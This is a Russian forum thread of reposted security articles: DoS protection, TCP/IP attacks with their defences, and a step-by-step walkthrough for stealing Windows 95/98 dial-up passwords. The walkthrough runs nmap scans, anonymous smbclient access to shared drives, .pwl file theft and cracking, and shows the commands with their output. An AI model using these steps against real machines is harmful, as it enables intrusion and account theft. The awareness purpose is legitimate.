Форум » Crack » SECURITY HOME PC » Ответить
SECURITY HOME PC
Andrew: В этой теме будет вся информация по БЕЗОПАСНОСТИ ДОМАШНЕГО КОМПЬЮТЕРА 1. Защита от DOS атак Хакерские атаки на серверы типа «отказ от обслуживания» (DoS) становятся с каждым днем все более изощренными и разнообразными. Постоянно появляется необходимость во все более сложных и эффективных инструментах защиты. В частности, тема защиты от таких атак была центральной на октябрьской конференции Североамериканской группы сетевых операторов (NANOG). Как отмечали докладчики, все более широкое применение получают так называемые DDoS, «распределенный отказ от обслуживания». Технология DDoS атак подразумевает метод грубой силы - атакующий тем или иным способом пытается «забить» канал, открывает максимально возможное количество соеденений на тот или иной сервис. Также злоумышленник может посылать большое количество определенного типа пакетов на хост, и тем самым попытаться вывести из строя работающую на нем операционную систему. Как правило, в таком случае система на том хосте не успевает обработать все пакеты, происходит переполнение буфера и ОС перегружается или виснет. Особенно чутки к таким воздействиям бывают системы семейства Windows: такие машины легче поддаются воздействию хакерских атак и быстрее отключаются. Например, специалистом агентства «Рустар» был замечен факт, когда от огромного количества ICMP пакетов (команда ping) на канале в 10 мегабит Windows NT не выдерживала и 5-ти минут, а Windows 9.x еще меньше. Дело в том, что эти системы, несмотря на свою простоту в управлении, с технической точки зрения сделаны достаточно «сыро», особенно когда речь идет о реализации стека протоколов TCP/IP. Понятно, что найти альтернативу Windows порой невозможно, поэтому это еще раз должно натолкнуть руководства компаний на применение современных средств сетевой защиты, а специалисты интернет компаний должны еще раз ответить себе на вопрос - а можно ли отказаться от использования Windows как ОС для их серверов. Кстати, участники американской конференции теоретически не исключили использования злоумышленниками в своих целях целых каскадов маршрутизаторов, что сможет привести к парализации на время всей инфраструктуры Интернета. Единственная надежда - на специалистов по компьютерной безопасности и на надежные системы защиты. О том, как защититься от атак типа DoS и DDoS, рассказал сотрудник отдела компьютерной безопасности интернет-агентства Рустар Сергей Слезко. - Для небольших и средних компаний, имеющих локальные сети с каналом в Интернет, можно посоветовать использовать межсетевые экраны. Это, как правило, отдельно стоящий компьютер или маршутизатор, который пропускает через себя трафик из нескольких, строго определенных, сетей, причем, естественно, контролируемый трафик должен физически (!) проходить через этот экран. Сетевая ОС на этом экране (Firewall) осуществляет фильтрацию трафика с последующей его логической обработкой. Например, можно настроить Firewall таким образом, что из защищенной сети можно будет заходить в Интернет, тогда как «из внешнего мира» подключиться к какой-нибудь рабочей станции будет невозможно, несмотря на доступность этой сети из Интернета. Firewall будет «отсекать» попытки подсоединиться к рабочей станции (распространенный вид DDoS когда взломщик подключается к 139 порту Windows и вызывает зависание этой ОС) или , к примеру, можно лимитировать канал на тот или иной трафик, например, если сделать лимит на ICMP трафик не более 50 кбит/с, то забить тот или иной канал уже намного сложнее. Такие системы должны настраивать специалисты, т.к. существует много тонкостей в протоколах TCP/IP. Конечным пользователям можно посоветовать системы защиты индивидуального характера, такого рода программы есть и для Windows. Но применять его советую лишь в случаях, когда нет возможности поставить отдельно Firewall (как правило, это пользователь, подключившийся по dial-up), поскольку в отличие от сетевых ОС, которые изначально ориентированы на работу с трафиком, это лишь своего рода «надстройка» над Windows, и, естественно, невозможно так же надежно контролировать трафик. Хотя это все же лучше чем «лезть» в Интернет с «открытой» Windows
Ответов - 11
Andrew: 2. Безопасность TCP/IP 1 Abstract В статье рассматривается безопасность семейства IP-протоколов. Описываются возможные типа атак, представлено несколько вариантов решения проблем. 2 Вступление Протоколы семейства IP являются основой построения сетей intranet и глобальной сети Internet. Несмотря на то, что разработка TCP/IP финансировалась Министерством обороны США, TCP/IP не обладает абсолютной защищенностью и допускает различные типы атак, рассмотренные в данной статье. Для того, чтобы предпринять подобные атаки, крэкер должен обладать контролем над одной из систем, подключенной к Internet. Это возможно, например, в случае, когда крэкер взломал какую-то систему или использует собственный компьютер, имеющий соединение с Internet (для многих атак достаточно иметь PPP-доступ). В данной статье не рассматриваются возможные физические атаки (например, непосредственный съем информации через ethernet или перехват трафика между радио-мостами). Все внимание обращено на программную реализацию. Статья подразумевает знакомство читателя с TCP/IP и ориентирована на администраторов в области безопасности. Официальное описание семейства IP-протоколов можно найти в RFC, при первом знакомстве с TCP/IP может оказать неоценимую помощь великолепная книга «TCP/IP Illustrated» by R.Stevens. Автор оставляет в стороне моральные вопросы, т.к. считает, что только полная информация может помочь подготовиться к возможным атакам и защититься от них. Принцип «Безопасность через незнание» (Security through Obscurity) редко оправдывает себя. Атаки на TCP/IP можно разделить на два вида: пассивные и активные. 3. Пассивные атаки на уровне TCP При данном типе атак крэкеры никаким образом не обнаруживают себя и не вступают напрямую во взаимодействие с другими системами. Фактически все сводиться к наблюдению за доступными данными или сессиями связи. 3.1. Подслушивание Атака заключаются в перехвате сетевого потока и его анализе (от англ. «sniffing»).Для осуществления подслушивания крэкеру необходимо иметь доступ к машине, расположенной на пути сетевого потока, который необходимо анализировать; например, к маршрутизатору или PPP-серверу на базе UNIX. Если крэкеру удастся получить достаточные права на этой машине, то с помощью специального программного обеспечения сможет просматривать весь трафик, проходящий через заданные интерфейс. Второй вариант -- крэкер получает доступ к машине, которая расположена в одном сегменте сети с системой, которой имеет доступ к сетевому потоку. Например, в сети «тонкий ethernet» сетевая карта может быть переведена в режим, в котором она будет получать все пакеты, циркулирующие по сети, а не только адресованной ей конкретно. В данном случае крэкеру не требуется доступ к UNIX -- достаточно иметь PC с DOS или Windows (частая ситуация в университетских сетях). Поскольку TCP/IP-трафик, как правило, не шифруется (мы рассмотрим исключения ниже), крэкер, используя соответствующий инструментарий, может перехватывать TCP/IP-пакеты, например, telnet-сессий и извлекать из них имена пользователей и их пароли. Следует заметить, что данный тип атаки невозможно отследить, не обладая доступом к системе крэкера, поскольку сетевой поток не изменяется. Единственная надежная защита от подслушивания -- шифрование TCP/IP-потока (например, secure shell) или использование одноразовых паролей (например, S/KEY). Другой вариант решения - использование интеллектуальных свитчей и UTP, в результате чего каждая машина получает только тот трафик, что адресован ей. У каждой палки два конца. Естественно, подслушивание может быть и полезно. Так, данный метод используется большим количеством программ, помогающих администраторам в анализе работы сети (ее загруженности, работоспособности и т.д.). Один из ярких примеров -- общеизвестный tcpdump. 4. Активные атаки на уровне TCP При данном типе атак крэкер взаимодействует с получателем информации, отправителем и/или промежуточными системами, возможно, модифицируя и/или фильтруя содержимое TCP/IP-пакетов. Данные типы атак часто кажутся технически сложными в реализации, однако для хорошего программиста не составляет труда реализовать соотвествующий инструментарий. К сожалению, сейчас такие программы стали доступны широким массам пользователей (например, см. раздел про SYN-затопление). Активные атаки можно разделить на две части. В первом случае крэкер предпринимает определенные шаги для перехвата и модификации сетевого потока или попыток «притвориться» другой системой. Во втором случае протокол TCP/IP используется для того, чтобы привести систему-жертву в нерабочее состоянии. Обладая достаточными привилегиями в Unix (или попросту используя DOS или Windows, не имеющие системы ограничений пользователей), крэкер может вручную формировать IP-пакеты и передавать их по сети. Естественно, поля заголовка пакета могут быть сформированы произвольным образом. Получив такой пакет, невозможно выяснить откуда реально он был получен, поскольку пакеты не содержат пути их прохождения. Конечно, при установке обратного адреса не совпадающим с текущим IP-адресом, крэкер никогда не получит ответ на отосланный пакет. Однако, как мы увидим, часто это и не требуется. Возможность формирования произвольных IP-пакетов является ключевым пунктом для осуществления активных атак. 4.1. Предсказание TCP sequence number Данная атака была описана еще Робертом Моррисом (Robert T. Morris) в A Weakness in the 4.2BSD Unix TCP/IP Software Англоязычный термин -- IP spoofing. В данном случае цель крэкера - притвориться другой системой, которой, например, «доверяет» система-жертва (в случае использования протокола rlogin/rsh для беспарольного входа). Метод также используется для других целей -- например, для использовании SMTP жертвы для посылки поддельных писем. 4.1.1. Описание Вспомним, что установка TCP-соединения происходит в три стадии (3-way handshake): клиент выбирает и передает серверу sequence number (назовем его C-SYN), в ответ на это сервер высылает клиенту пакет данных, содержащий подтверждение (C-ACK) и собственный sequence number сервера (S-SYN). Теперь уже клиент должен выслать подтверждение (S-ACK). Схематично это можно представить так: После этого соединение считается установленным и начинается обмен данными. При этом каждый пакет имеет в заголовке поле для sequence number и acknowledge number. Данные числа увеличиваются при обмене данными и позволяют контролировать корректность передачи. Предположим, что крэкер может предсказать, какой sequence number (S-SYN по схеме) будет выслан сервером. Это возможно сделать на основе знаний о конкретной реализации TCP/IP. Например, в 4.3BSD значение sequence number, которое будет использовано при установке следующего значения, каждую секунду увеличивается на 125000. Таким образом, послав один пакет серверу, крэкер получит ответ и сможет (возможно, с нескольких попыткок и с поправкой на скорость соединения) предсказать sequence number для следующего соединения. Если реализация TCP/IP использует специальный алгоритм для определения sequence number, то он может быть выяснен с помощью посылки нескольких десятков пакетов серверу и анализа его ответов. Итак, предположим, что система A доверяет системе B, так, что пользователь системы B может сделать «rlogin A»_ и оказаться на A, не вводя пароля. Предположим, что крэкер расположен на системе C. Система A выступает в роли сервера, системы B и C - в роли клиентов. Первая задача крэкера - ввести систему B в состояние, когда она не сможет отвечать на сетевые запросы. Это может быть сделано несколькими способами, в простейшем случае нужно просто дождаться перезагрузки системы B. Нескольких минут, в течении которых она будет неработоспособна, должно хватить. Другой вариант -- использование описанными в следующих разделах методов. После этого крэкер может попробовать притвориться системой B, для того, что бы получить доступ к системе A (хотя бы кратковременный). * Крэкер высылает несколько IP-пакетов, инициирующих соединение, системе A, для выяснения текущего состояния sequence number сервера. * Крэкер высылает IP-пакет, в котором в качестве обратного адреса указан уже адрес системы B. * Система A отвечает пакетом с sequence number, который направляется системе B. Однако система B никогда не получит его (она выведена из строя), как, впрочем, и крэкер. Но он на основе предыдущего анализа догадывается, какой sequence number был выслан системе B. * Крэкер подтверждает «получение» пакета от A, выслав от имени B пакет с предполагаемым S-ACK(заметим, что если системы располагаются в одном сегменте, крэкеру для выяснения sequence number достаточно перехватить пакет, посланный системой A). После этого, если крэкеру повезло и sequence number сервера был угадан верно, соединение считается установленным. Теперь крэкер может выслать очередной фальшивый IP-пакет, который будет уже содержать данные. Например, если атака была направлена на rsh, он может содержать команды создания файла .rhosts или отправки /etc/passwd крэкеру по электронной почте. 4.1.2. Детектирование и защита Простейшим сигналом IP-spoofing будут служить пакеты с внутренними адресами, пришедшие из внешнего мира. Программное обеспечение маршрутизатора может предупредить об этом администратора. Однако не стоит обольщаться - атака может быть и изнутри Вашей сети. В случае использования более интеллектуальных средств контроля за сетью администратор может отслеживать (в автоматическом режиме) пакеты от систем, которые в находятся в недоступном состоянии. Впрочем, что мешает крэкеру имитировать работу системы B ответом на ICMP-пакеты? Какие способы существуют для защиты от IP-spoofing? Во-первых, можно усложнить или сделать невозможным угадывание sequence number (ключевой элемент атаки). Например, можно увеличить скорость изменения sequence number на сервере или выбирать коэффициент увеличения sequence number случайно (желательно, используя для генерации случайных чисел криптографически стойкий алгоритм). Если сеть использует firewall (или другой фильтр IP-пакетов), следует добавить ему правила, по которым все пакеты, пришедшие извне и имеющие обратными адресами из нашего адресного пространства, не должны пропускаться внутрь сети. Кроме того, следует минимизировать доверие машин друг другу. В идеале не должны существовать способа, напрямую попасть на соседнюю машину сети, получив права суперпользователя на одной из них. Конечно, это не спасет от использования сервисов, не требующих авторизации, например, IRC (крэкер может притвориться произвольной машиной Internet и передать набор команд для входа на канал IRC, выдачи произвольных сообщений и т.д.). Шифрование TCP/IP-потока решает в общем случае проблему IP-spoofing’а (при условии, что используются криптографически стойкие алгоритмы). Для того, чтобы уменьший число таких атак, рекомендуется также настроить firewall для фильтрации пакетов, посланных нашей сетью наружу, но имеющих адреса, не принадлежащие нашему адресному пространству. Это защитит мир от атак из внутренней сети, кроме того, детектирование подобных пакетов будет означать нарушение внутренней безопасности и может помочь администратору в работе. 4.2. IP Hijacking Если в предыдущем случае крэкер инициировал новое соединение, то в данном случае он перехватывает весь сетевой поток, модифицируя его и фильтруя произвольным образом. Метод является комбинацией «подслушивания» и IP spoofing’а. 4.2.1. Описание Необходимые условия -- крэкер должен иметь доступ к машине, находящейся на пути сетевого потока и обладать достаточными правами на ней для генерации и перехвата IP-пакетов. Напомним, что при передаче данных постоянно используются sequence number и acknowledge number (оба поля находятся в IP-заголовке). Исходя из их значения, сервер и клиент проверяют корректность передачи пакетов. Существует возможность ввести соединение в «десинхронизированное состояние», когда присылаемые сервером sequence number и acknowledge number не будут совпадать с ожидаемым значениеми клиента, и наоборот. В данном случае крэкер, «прослушивая» линию, может взять на себя функции посредника, генерируя корректные пакеты для клиента и сервера и перехватывая их ответы. Метод позволяет полностью обойти такие системы защиты, как, например, одноразовые пароли, поскольку крэкер начинает работу уже после того, как произойдет авторизация пользователя. Есть два способа рассинхронизировать соединение: 4.2.1.1. Ранняя десинхронизация Соединение десинхронизируется на стадии его установки. * Крэкер прослушивает сегмент сети, по которому будут проходить пакеты интересующей его сессии. * Дождавшись пакета S-SYN от сервера, крэкер высылает серверу пакет типа RST (сброс), конечно, с корректным sequence number, и, немедленно, вслед за ним фальшивый C-SYN-пакет от имени клиента. * Сервер сбрасывает первую сессию и открывает новую, на том же порту, но уже с новым sequence number, после чего посылает клиенту новый S-SYN-пакет. * Клиент игнорирует S-SYN-пакет, однако крэкер, прослушивающий линию, высылает серверу S-ACK-пакет от имени клиента. * Итак, клиент и сервер находятся в состоянии ESTABLISHED, однако сессия десинхронизирована. Представим это в виде схемы: Естественно, 100% срабатывания у этой схемы нет, например, она не застрахована от того, что по дороге не потеряются какие-то пакеты, посланные крэкером. Для корректной обработки этих ситуаций программа должна быть усложнена. 4.2.1.2. Десинхронизация нулевыми данными В данном случае крэкер прослушивает сессию и в какой-то момент посылает серверу пакет с «нулевыми» данными, т.е. такими, которые фактически будут проигнорированы на уровне прикладной программы и не видны клиенту (например, для telnet это может быть данные типа IAC NOP IAC NOP IAC NOP...). Аналогичный пакет посылается клиенту. Очевидно, что после этого сессия переходит в десинхронизированное состояние. 4.2.2. ACK-буря Одна из проблем IP Hijacking заключается в том, что любой пакет, высланный в момент, когда сессия находится в десинхронизированном состоянии вызывает так называемый ACK-бурю. Например, пакет выслан сервером, и для клиента он является неприемлимым, поэтому тот отвечает ACK-пакетом. В ответ на этот неприемлимый уже для сервера пакет клиент вновь получает ответ... И так до бесконечности. К счастью (или к сожалению?) современные сети строятся по технологиям, когда допускается потеря отдельных пакетов. Поскольку ACK-пакеты не несут данных, повторных передачи не происходит и «буря стихает». Как показали опыты, чем сильнее ACK-буря, тем быстрее она «утихомиривает» себя - на 10MB ethernet это происходит за доли секунды. На ненадежных соединениях типа SLIP - ненамного больше. 4.2.3. Детектирование и защита Есть несколько путей. Например, можно реализовать TCP/IP-стэк, которые будут контролировать переход в десинхронизированное состояние, обмениваясь информацией о sequence number/acknowledge number. Однако в данному случае мы не застрахованы от крэкера, меняющего и эти значения. Поэтому более надежным способом является анализ загруженности сети, отслеживание возникающих ACK-бурь. Это можно реализовать при помощи конкретных средств контроля за сетью. Если крэкер не потрудиться поддерживать десинхронизированное соединение до его закрытия или не станет фильтровать вывод своих команд, это также будет сразу замечено пользователем. К сожалению, подавляющее большинство просто откруют новую сессию, не обращаясь к администратору. Стопроцентную защиту от данной атаки обеспечивает, как всегда, шифрование TCP/IP-трафика (на уровне приложений - secure shell) или на уровн протокола - IPsec). Это исключает возможность модификации сетевого потока. Для защиты почтовых сообщений может применяться PGP. Следует заметить, что метод также не срабатывает на некоторых конкретных реализациях TCP/IP. Так, несмотря на [rfc...], который требует молчаливого закрытия сесии в ответ на RST-пакет, некоторые системы генерируют встречный RST-пакет. Это делает невозможным раннюю десинхронизацию. Для более глубокого ознакомления с этой атакой рекомендуется обратиться к IP Hijacking (CERT). 4.3. Пассивное сканирование Сканирование часто применяется крэкерами для того, чтобы выяснить, на каких TCP-портах работают демоны, отвечающие на запросы из сети. Обычная программа-сканер последовательно открывает соединения с различными портами. В случае, когда соединение устанавливается, программа сбрасывает его, сообщая номер порта крэкеру. Данный способ легко детектируются по сообщениям демонов, удивленных мгновенно прерваным после установки соединением, или с помощью использования специальных программ. Лучшие из таких программ обладают некоторыми попытками внести элементы искуственного элемента в отслеживание попыток соединения с различными портами. Однако крэкер может воспользоваться другим методом -- пассивным сканированием (английский термин «passive scan»). При его использовании крэкер посылает TCP/IP SYN-пакет на все порты подряд (или по какому-то заданному алгоритму). Для TCP-портов, принимающих соединения извне, будет возвращен SYN/ACK-пакет, как приглашение продолжить 3-way handshake. Остальные вернут RST-пакеты. Проанализировав данные ответ, крэкер может быстро понять, на каких портах работают программа. В ответ на SYN/ACK-пакеты он может также ответить RST-пакетами, показывая, что процесс установки соединения продолжен не будет (в общем случае RST-пакетами автоматический ответит TCP/IP-реализация крэкера, если он не предпримет специальных мер). Метод не детектируется предыдущими способами, поскольку реальное TCP/IP-соединение не устанавливается. Однако (в зависимости от поведения крэкера) можно отслеживать: * резко возросшее количество сессий, находящихся в состоянии SYN_RECEIVED. (при условии, что крэкер не посылает в ответ RST); * прием от клиента RST-пакета в ответ на SYN/ACK. К сожалению, при достаточно умном поведении крэкера (например, сканирование с низкой скоростью или проверка лишь конкретных портов) детектировать пассивное сканирование невозможно, поскольку оно ничем не отличается от обычных попыток установить соединение. В качестве защиты можно лишь посоветовать закрыть на firewall все сервисы, доступ к которым не требуется извне. 4.4. Затопление ICMP-пакетами Традиционный англоязычный термин -- «ping flood». Появился он потому, что программа «ping», предназначенная для оценки качества линии, имеет ключ для «агрессивного» тестирования. В этом режиме запросы посылаются с максимально возможной скоростью и программа позволяет оценить, как работает сеть при максимальной нагрузке. Данная атака требует от крэкера доступа к быстрым каналам в Интернет. Вспомним, как работает ping. Программа посылает ICMP-пакет типа ECHO REQUEST, выставляя в нем время и его идентификатор. Ядро машины-получателя отвечает на подобный запрос пакетом ICMP ECHO REPLY. Получив его ping выдает скорость прохождения пакета.
Andrew: Продолжение... При стандартном режиме работы пакеты выслаются через некоторые промежутки времени, практически не нагружая сеть. Но в «агрессивном» режиме поток ICMP echo request/reply-пакетов может вызвать перегрузку небольшой линии, лишив ее способности передавать полезную информацию. Естественно, случай с ping является частным случаем более общей ситуации, связанный с перегрузкой каналов. Например, крэкер может посылать множество UDP-пакетов на 19-й порт машины-жертвы, и горе ей, если она, следуя общепринятым правилам, имеет на 19-м UDP-порту знакогенератор, отвечающий на пакеты строчками по 80 байт. Заметим, что крэкер может также подделывать обратный адрес подобных пакетов, затрудняя его обнаружение. Отследить его поможет разве что скоординированная работа специалистов на промежуточных маршрутизаторах, что практически нереально. Одной из вариантов атаки - посылать ICMP echo request-пакеты с исходным адресом, указывающем на жертву, на broadcast-адреса крупных сетей. В результате каждая из машин ответит на этот фальшивый запрос, и машина-отправитель получит больше количество ответов. Посылка множество broadcast-echo requests от имени «жертвы» на broadcast-адреса крупных сетей, можно вызвать резкой заполненение канала «жертвы». Приметы затопления - резко возросшая нагрузка на сеть (или канал) и повышение количество специфических пакетов (таких, как ICMP). В качестве защиты можно порекомендовать настройку маршрутизаторов, при которых они будут фильтровать тот же ICMP трафик, превышающие некоторую заданную заранее величину (пакетов/ед. времени). Для того, чтобы убедиться, что Ваши машины не могут служить источником ping flood’а, ограничьте доступ к ping. 4.5. Локальная буря Сделаем небольшое отступление в сторону реализации TCP/IP и рассмотрим «локальные бури» на пример UDP-бури. Как правило, по умолчанию системы поддерживают работу таких UDP-портов, как 7 («эхо», полученный пакет отсылается назад), 19 («знакогенератор», в ответ на полученный пакет отправителю выслается строка знакогенератора) и других (date etc). В данном случае крэкер может послать единственный UDP-пакет, где в качестве исходного порта будет указан 7, в качестве получателя - 19-й, а в качестве адреса получателя и отправителя будут указаны, к примеру, две машины вашей сети (или даже 127.0.0.1). Получив пакет, 19-й порт отвечает строкой, которая попадает на порт 7. Седьмой порт дублирует ее и вновь отсылает на 19.. и так до бесконечности. Бесконечный цикл съедает ресурсы машин и добавляет на канал бессмысленную нагрузку. Конечно, при первом потерянном UDP-пакете буря прекратиться. Как недавно стало известно, данная атака временно выводит из строя (до перезагрузки) некоторые старые модели маршрутизаторов. Очевидно, что в бесконечный разговор могут быть вовлечены многие демоны (в случае TCP/IP может быть применен TCP/IP spoofing, в случае UDP/ICMP достаточно пары фальшивых пакетов). В качестве защиты стоит еще раз порекомендовать не пропускать в сети пакеты с внутренними адресам, но пришедшие извне. Также рекомендуется закрыть на firewall использование большинства сервисов. 4.6. Затопление SYN-пакетами Пожалуй, затопление SYN-пакетами («SYN flooding») - самый известный способ напакостить ближнему, с того времени, как хакерский электронный журнал «2600» опубликовал исходные тексты программы, позволяющие занятьсе этим даже неквалифицированным пользователям. Следует заметить, что впервые эта атака была упомянута еще в 1986 году все тем же Робертом Т. Моррисом. Вспомним, как работает TCP/IP в случае входящих соединений. Система отвечает на пришедший C-SYN-пакет S-SYN/C-ACK-пакетом, переводит сессию в состояние SYN_RECEIVED и заносит ее в очередь. Если в течении заданного времени от клиента не придет S-ACK, соединение удаляется из очереди, в противном случае соединение переводится в состояние ESTABLISHED. Рассмотрим случай, когда очередь входных соединений уже заполнена, а система получает SYN-пакет, приглашающий к установке соединения. По RFC он будет молча проигнорирован. Затопление SYN-пакетами основано на переполнении очереди сервера, после чего сервер перестает отвечать на запросы пользователей. Самая известная атака такого рода - атака на Panix, нью-йоркского провайдера. Panix не работал в течении 2-х недель. В различных системах работа с очередью реализована по разному. Так, в BSD-системах, каждый порт имеет свою собственную очередь размером в 16 элементов. В системах SunOS, напротив, такого разделения и нет и система просто располагает большой общей очередью. Соответственно, для того, что бы заблокировать, к примеру, WWW-порт на BSD достаточно 16 SYN-пакетов, а для Solaris 2.5 их количество будет гораздо больше. После истечение некоторого времени (зависит от реализации) система удаляет запросы из очереди. Однако ничего не мешает крэкеру послать новую порцию запросов. Таким образом, даже находясь на соединение 2400 bps, крэкер может посылать каждые полторы минуты по 20-30 пакетов на FreeBSD-сервер, поддерживая его в нерабочем состоянии (естественно, эта ошибка была скорректирована в последних версиях FreeBSD). Как обычно, крэкер может воспользоваться случайными обратными IP-адресами при формировании пакетов, что затрудняет его обнаружение и фильтрацию его трафика. Детектирование несложно -- большое количество соединений в состоянии SYN_RECEIVED, игнорирование попыток соединится с данным портом. В качестве защиты можно порекомендовать патчи, которые реализуют автоматическое «прорежение» очереди, например, на основе алгоритма Early Random Drop. Для того, что бы узнать, если к Вашей системе защита от SYN-затопления, обратитесь к поставщику системы. Другой вариант защиты - настроить firewall так, что бы все входящие TCP/IP-соединения устанавливал он сам, и только после этого перебрасывал их внутрь сети на заданную машину. Это позволит Вам ограничить SYN-затопление и не пропустить его внутрь сети
Andrew: 3. Безопасность вашего аккаунта. Аккаунт – имя пользователя и пароль, который используется для входа в “Internet”. Ни для кого не секрет, что сегодня все чаще хакеры, используя всяческие ухищрения, воруют в сетях бюджеты “чайников”. Пользователи, которым лень задуматься о безопасности, суждено расплачиваться по правилам, установленными беспредельщиками всемирной паутины. Вы платите деньги, а хаккер эти деньги использует, причем использует с выгодой для себя. На одном таком пользователе он выигрывает еще десять таких же. То, что он делает, сам он не может назвать воровством. Наша цель – дать понять, как хакеры “вытаскивают” из под вашего носа ваши бюджеты. Тема пойдет о пользователях, которые установили себе операционную систему Windows95/98. Доверьтесь нашей статье, иначе вы окажитесь одним из тех, кого в виртуальном мире называют ламерами. Итак, глубокая ночь, Вы решили побродить по просторам Всемирной Паутины. Вы запускаете свой “Dialer”, заполняете форму для соединения и нажимаете на “Connect”. Вы в Интернете. А тем временем…. Хаккеры используют довольно не сложный способ вытаскивания вашего бюджета. Все, что им нужно – терпение. Поверьте, эта черта хаккера есть у всех. Итак, с помощью сканера (nmap), программы nat, программы-клиента (smbclient), и программы взлома pwl-файлов - хаккер может проверить ваш компьютер на наличие открытых сетевых ресурсов, соединиться с ним и получить нужную ему информацию, которая находится у вас на жестком диске. Довольно тривиально, правда? Давайте рассмотрим действия хакера вплотную. Итак, в качестве провайдера мы выберем выдуманный нами “www.junk.com”. Довольно часто, жертву находят на каналах знаменитого IRC. Для начала взломщику надо узнать, находится ли пользователь, который пользуется услугами провайдера “JUNK”, на IRC. В строке “Status” он вводит команду: /who *.junk.com #RUSSIAN Andrey H andrey@dialup-28059.junk.com :0 hello. *.junk.com End of /WHO list. - Мы видим слово “dialup” (удаленный доступ), которое находится возле “собачки”. Не долго думая, хаккер узнает его IP-адрес, который понадобится для поиска таких же пользователей, которые пользуются “удаленным доступом”: /dns Andrey - *** Looking up dialup-28059.junk.com *** Resolved dialup-28059. junk.com to 121.31.21.10 - Итак, узнав IP-адрес пользователя, который пользуется услугами “удаленного доступа”, взломщик сканирует IP-адреса, которые в данный момент находятся в сети (в режиме “online”). evil# nmap –o junk.result -P 121.31.21.* Результат сканирования перенаправляется в файл junk.result: -------- Starting nmap V. 1.49 by Fyodor (fyodor@dhp.com, www.dhp.com/~fyodor/nmap/) Host dialup-28005.junk.com (121.31.21.5) appears to be up. Host dialup-28009.junk.com (121.31.21.9) appears to be up. Host dialup-28012.junk.com (121.31.21.12) appears to be up. Host dialup-28021.junk.com (121.31.21.21) appears to be up. Host dialup-28029.junk.com (121.31.21.29) appears to be up. -------- Мы видим, что довольно просто узнать диапазон IP-адресов, которые могут быть подвержены взлому. Если учесть тот факт, что каждый второй пользователь использует операционную систему Windows95/98, можно с уверенностью сказать, что большинство компьютеров подвержены взлому. Итак, после сканирования злоумышленник проверяет каждый IP-адрес (компьютер) на наличие открытых сетевых ресурсов (или иначе говоря – “shares”) с помощью программы проверки сети – “NAT”. evil# nat 121.31.21.9 [*]--- Checking host: 121.31.21.9 [*]--- Obtaining list of remote NetBIOS names [*]--- Remote systems name tables: ANDREY THEDOMAIN ANDREY [*]--- Attempting to connect with name: * [*]--- Unable to connect [*]--- Attempting to connect with name: ANDREY [*]--- CONNECTED with name: ANDREY [*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03 [*]--- Server time is Wed May 6 16:05:50 1998 [*]--- Timezone is UTC+4.0 [*]--- Remote server wants us to encrypt, telling it not to [*]--- Attempting to connect with name: YELTCIN [*]--- CONNECTED with name: YELTCIN [*]--- Attempting to establish session [*]--- Obtained server information: Server=[ANDREY] User=[] Workgroup=[THEDOMAIN] Domain=[] [*]--- Obtained tt of shares: Sharename Type Comment --------------- ------ ------------ C Disk: Default share IPC$ IPC: Remote IPC [*]--- Attempting to access share: \\ANDREY\ [*]--- Unable to access [*]--- Attempting to access share: \\ANDREY\C [*]--- WARNING: Able to access share: \\ANDREY\C [*]--- Checking write access in: \\ANDREY\C [*]--- WARNING: Directory is writeable: \\ANDREY\C [*]--- Attempting to exercise .. bug on: \\ANDREY\C Итак, программа NAT показывает нам, что открыт доступ к сетевому ресурсу, а именно к диску “C:”. “Able to access share: \\ANDREY\C” Все очень просто. Теперь злоумышленник соединяется с вашим копьютером, чтобы затем добраться до интересующей его информации. Как правило, целью является ваш бюджет (в 99 случаях из ста). Соедениться с вашим компьютером позволяет программа smbclient (из пакета Samba). evil# smbclient ’\\ANDREY\C’ -U ADMINISTRATOR -N -I 121.31.21.9 -N – без запроса пароля. -U ADMINISTRATOR – имя, используемое при соединении. Теперь, когда хакер находится в вашем комьютере, есть шанс, что он получит то, что искал – ваш бюджет, который вы используете для входа в Интернет. Ваш бюджет хранится в зашифрованном виде в файле с расширением pwl. smb› ls *w WINDOWS D smb› cd windows smb› ls *.pwl andrey.pwl smb› get andrey.pwl Злоумышленник копирует файл, в котором находится ваш бюджет, после чего покидает ваш компьютер. Что он делает дальше? – спросите вы. Далее в дело вступает программа под названием pwlhack, которая расшифровывает содержимое бюджета. C:\HACK\WIN95›pwlhack.exe /list andrey.pwl andrey (C) 17-Apr-1998y by Hard Wisdom «PWL’s Hacker» v3.0 (1996,97,98) Enter the password: File ’ANDREY.PWL’ has size 1124 bytes, version NEW_Win95_OSR/2 for user ’ANDREY’ with password ’’ contains: -[Type]-[The resource location string]--------------[Password]- Link OFFICE\D OFFICE veritas Dial X *Rna\Соединение JUNK\ Fd31Tta X4b9o93p -------------------------------------------------- ------------- Indexed Entryes: 1; Number of resources: 2. Fd31Tta – ваше регистрационное имя. X4b9o93p – пароль. Проделав столь несложную операцию, хаккер делает запись о вашем аккаунте. Как правило, добычу используют для доступа в Интернет за Ваш счет ;) Поясню еще одну деталь: Link - подключенный диск (удаленный сервер для контроля, принтер) в сети. Dial - удаленные “дозвоны” с помощью модема. Итак, Вы стали неуверенны в себе? У Вас появился повод для размышленя? Вот несколько советов, которые я могу вам дать 1. После заполнении формы (“Имя пользователя” и “пароль”) НЕ ставьте галочку в поле “Сохранить пароль”. По возможности наберайте ваше регистрационное имя и пароль при соединении. Для этого необходимо поставить галочку в “Выводить окно терминала после набора номера” (“Свойства”-“Настройка…” - “Параметры” – “Выводить окно терминала после набора номера”). 2. Поставьте пароль на свой компьютер. При установке Windows 95/98 под сеть, вам предлагают поставить пароль. 3. Необходимо отключить привязку “Служба доступа к файлам и принтерам” от “Контроллера удаленного пользователя”. 4. Переходите на UNIX, наконец! Я вам рассказал только один из старых методов используемых хакерами в наши дни. Сейчас, чтобы не тратить свое время, хакеры придумали программы-скрипты, которым достаточно указать диапазон IP-адресов. Эти программы автоматически ищут предпологаемого пользователя, у которых открыт доступ к сетевым ресурсам. Задумайтесь о безопасности ваших данных. Может быть, хакера не заинтересует ваш бюджет…
